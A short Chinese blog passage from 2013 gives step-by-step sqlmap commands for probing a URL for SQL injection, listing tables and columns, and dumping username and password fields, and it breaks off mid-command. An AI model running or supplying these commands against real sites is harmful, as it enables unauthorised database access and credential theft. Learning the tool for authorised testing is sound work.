sqlmap基础语句
(2013-11-28 12:33:52)
第一步:
在 sqlmap 里面输入: -u "注入的 url"
#这一步是为了扫描目标url 看是否为注入点,格式是: -u +"要检测的url"
第二步:
输入: -u +"目标url" --tables
#可以检测出数据库的检测表名
第三步:
继续输入: -u "注入的 url" --columns -T 表名(比如:admin)
#这一步是在第二部的基础上检测字段,不要忘了选择一个表段。上面例子是admin的表段
第四步:
输入: -u "注入的 url" --dump -T 表名 -C "username,
password"(这两个是字段,不一定是这两个,到时候据情况而定)
#最后一步,这是在检测字段的内容, 上面是用 username 和password 两个字段作为例子。
注意:在扫描的时候会让你输入线程数,一般情况下输入 10 个线程就好。。
下面在延伸一下关于 sqlmap 的一些用法和语句:
1. sqlmap -u "目标url" –dump -C “字段” -T “表段”-D “数据库名称”
–start 1 –stop 20
#列出指定字段,列出 20 或者更多条,可以自己选。。
2. sqlmap -u "目标url" –dump -